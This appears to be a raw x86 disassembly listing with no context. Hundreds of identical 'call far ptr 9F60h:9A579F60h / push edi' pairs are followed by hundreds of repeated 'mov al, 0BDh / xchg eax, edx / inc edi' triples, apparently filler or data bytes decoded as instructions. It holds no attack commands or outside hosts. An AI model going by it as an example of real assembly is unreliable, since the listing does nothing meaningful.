call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 9F60h:9A579F60h
push edi
call far ptr 4760h:9A579F60h
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
xchg eax, edx
inc edi
mov al, 0BDh
